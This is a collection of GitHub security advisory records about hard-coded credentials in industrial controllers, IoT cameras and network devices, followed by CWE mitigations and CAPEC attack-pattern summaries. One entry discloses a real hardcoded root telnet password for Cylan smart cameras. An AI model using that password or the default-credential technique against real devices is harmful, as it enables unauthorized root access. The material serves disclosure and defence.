Vulnerability from github – Published: 2022-09-01 00:00 – Updated: 2022-09-08 00:00Honeywell ControlEdge through R151.1 uses Hard-coded Credentials. According to FSCT-2022-0056, there is a Honeywell ControlEdge hardcoded credentials issue. The affected components are characterized as: SSH. The potential impact is: Remote code execution, manipulate configuration, denial of service. The Honeywell ControlEdge PLC and RTU product line exposes an SSH service on port 22/TCP. Login as root to this service is permitted and credentials for the root user are hardcoded without automatically changing them upon first commissioning. The credentials for the SSH service are hardcoded in the firmware. The credentials grant an attacker access to a root shell on the PLC/RTU, allowing for remote code execution, configuration manipulation and denial of service.
{
"affected": [],
"aliases": [
"CVE-2022-30318"
],
"database_specific": {
"cwe_ids": [
"CWE-798"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-31T16:15:00Z",
"severity": "CRITICAL"
},
"details": "Honeywell ControlEdge through R151.1 uses Hard-coded Credentials. According to FSCT-2022-0056, there is a Honeywell ControlEdge hardcoded credentials issue. The affected components are characterized as: SSH. The potential impact is: Remote code execution, manipulate configuration, denial of service. The Honeywell ControlEdge PLC and RTU product line exposes an SSH service on port 22/TCP. Login as root to this service is permitted and credentials for the root user are hardcoded without automatically changing them upon first commissioning. The credentials for the SSH service are hardcoded in the firmware. The credentials grant an attacker access to a root shell on the PLC/RTU, allowing for remote code execution, configuration manipulation and denial of service.",
"id": "GHSA-2jhj-7g8h-j3h6",
"modified": "2022-09-08T00:00:33Z",
"published": "2022-09-01T00:00:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-30318"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/uscert/ics/advisories/icsa-22-242-06"
},
{
"type": "WEB",
"url": "https://www.forescout.com/blog"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2JMG-WXP9-5QFC
Vulnerability from github – Published: 2023-10-03 12:30 – Updated: 2024-04-04 08:06All versions of NetMan 204 allow an attacker that knows the MAC and serial number of the device to reset the administrator password via the legitimate recovery function.
{
"affected": [],
"aliases": [
"CVE-2022-47891"
],
"database_specific": {
"cwe_ids": [
"CWE-798"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-03T12:15:09Z",
"severity": "HIGH"
},
"details": "All versions of NetMan 204 allow an attacker that knows the MAC and serial number of the device to reset the administrator password via the legitimate recovery function.",
"id": "GHSA-2jmg-wxp9-5qfc",
"modified": "2024-04-04T08:06:33Z",
"published": "2023-10-03T12:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-47891"
},
{
"type": "WEB",
"url": "https://www.incibe.es/incibe-cert/alerta-temprana/avisos-sci/multiples-vulnerabilidades-netman-204-riello-ups"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2JXW-QRXG-9398
Vulnerability from github – Published: 2022-05-24 16:48 – Updated: 2024-04-04 01:02On Shenzhen Cylan Clever Dog Smart Camera DOG-2W and DOG-2W-V4 devices, an attacker on the network can login remotely to the camera and gain root access. The device ships with a hardcoded 12345678 password for the root account, accessible from a TELNET login prompt.
{
"affected": [],
"aliases": [
"CVE-2019-12920"
],
"database_specific": {
"cwe_ids": [
"CWE-798"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-06-20T19:15:00Z",
"severity": "CRITICAL"
},
"details": "On Shenzhen Cylan Clever Dog Smart Camera DOG-2W and DOG-2W-V4 devices, an attacker on the network can login remotely to the camera and gain root access. The device ships with a hardcoded 12345678 password for the root account, accessible from a TELNET login prompt.",
"id": "GHSA-2jxw-qrxg-9398",
"modified": "2024-04-04T01:02:28Z",
"published": "2022-05-24T16:48:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-12920"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/46993"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2M2C-428P-VRF4
Vulnerability from github – Published: 2022-05-13 01:34 – Updated: 2022-05-13 01:34Logitech Harmony Hub before version 4.15.206 contained two hard-coded accounts in the XMPP server that gave remote users access to the local API.
{
"affected": [],
"aliases": [
"CVE-2018-15720"
],
"database_specific": {
"cwe_ids": [
"CWE-798"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-12-20T21:29:00Z",
"severity": "CRITICAL"
},
"details": "Logitech Harmony Hub before version 4.15.206 contained two hard-coded accounts in the XMPP server that gave remote users access to the local API.",
"id": "GHSA-2m2c-428p-vrf4",
"modified": "2022-05-13T01:34:09Z",
"published": "2022-05-13T01:34:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-15720"
},
{
"type": "WEB",
"url": "https://www.tenable.com/security/research/tra-2018-47"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2M5G-P4H5-R9JP
Vulnerability from github – Published: 2024-08-02 18:31 – Updated: 2025-11-04 18:31Cosy+ devices running a firmware 21.x below 21.2s10 or a firmware 22.x below 22.1s3 use a unique key to encrypt the configuration parameters. This is fixed in version 21.2s10 and 22.1s3, the key is now unique per device.
{
"affected": [],
"aliases": [
"CVE-2024-33895"
],
"database_specific": {
"cwe_ids": [
"CWE-798"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-02T18:16:18Z",
"severity": "MODERATE"
},
"details": "Cosy+ devices running a firmware 21.x below 21.2s10 or a firmware 22.x below 22.1s3 use a unique key to encrypt the configuration parameters. This is fixed in version 21.2s10 and 22.1s3, the key is now unique per device.",
"id": "GHSA-2m5g-p4h5-r9jp",
"modified": "2025-11-04T18:31:15Z",
"published": "2024-08-02T18:31:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33895"
},
{
"type": "WEB",
"url": "https://blog.syss.com/posts/hacking-a-secure-industrial-remote-access-gateway"
},
{
"type": "WEB",
"url": "https://hmsnetworks.blob.core.windows.net/nlw/docs/default-source/products/cybersecurity/security-advisory/hms-security-advisory-2024-07-29-001--ewon-several-cosy--vulnerabilities.pdf"
},
{
"type": "WEB",
"url": "https://www.ewon.biz/products/cosy/ewon-cosy-wifi"
},
{
"type": "WEB",
"url": "https://www.hms-networks.com/cyber-security"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Aug/22"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
- For outbound authentication: store passwords, keys, and other credentials outside of the code in a strongly-protected, encrypted configuration file or database that is protected from access by all outsiders, including other local users on the same system. Properly protect the key (CWE-320). If you cannot use encryption to protect the file, then make sure that the permissions are as restrictive as possible [REF-7].
- In Windows environments, the Encrypted File System (EFS) may provide some protection.
Mitigation
For inbound authentication: Rather than hard-code a default username and password, key, or other authentication credentials for first time logins, utilize a "first login" mode that requires the user to enter a unique strong password or key.
Mitigation
If the product must contain hard-coded credentials or they cannot be removed, perform access control checks and limit which entities can access the feature that requires the hard-coded credentials. For example, a feature might only be enabled through the system console instead of through a network connection.
Mitigation
- For inbound authentication using passwords: apply strong one-way hashes to passwords and store those hashes in a configuration file or database with appropriate access control. That way, theft of the file/database still requires the attacker to try to crack the password. When handling an incoming password during authentication, take the hash of the password and compare it to the saved hash.
- Use randomly assigned salts for each separate hash that is generated. This increases the amount of computation that an attacker needs to conduct a brute-force attack, possibly limiting the effectiveness of the rainbow table method.
Mitigation
- For front-end to back-end connections: Three solutions are possible, although none are complete.
- The first suggestion involves the use of generated passwords or keys that are changed automatically and must be entered at given time intervals by a system administrator. These passwords will be held in memory and only be valid for the time intervals.
- Next, the passwords or keys should be limited at the back end to only performing actions valid for the front end, as opposed to having full access.
- Finally, the messages sent should be tagged and checksummed with time sensitive values so as to prevent replay-style attacks.
CAPEC-191: Read Sensitive Constants Within an Executable
An adversary engages in activities to discover any sensitive constants present within the compiled code of an executable. These constants may include literal ASCII strings within the file itself, or possibly strings hard-coded into particular routines that can be revealed by code refactoring methods including static and dynamic analysis.
CAPEC-70: Try Common or Default Usernames and Passwords
An adversary may try certain common or default usernames and passwords to gain access into the system and perform unauthorized actions. An adversary may try an intelligent brute force using empty passwords, known vendor default credentials, as well as a dictionary of common usernames and passwords. Many vendor products come preconfigured with default (and thus well-known) usernames and passwords that should be deleted prior to usage in a production environment. It is a common mistake to forget to remove these default login credentials. Another problem is that users would pick very simple (common) passwords (e.g. "secret" or "password") that make it easier for the attacker to gain access to the system compared to using a brute force attack or even a dictionary attack using a full dictionary.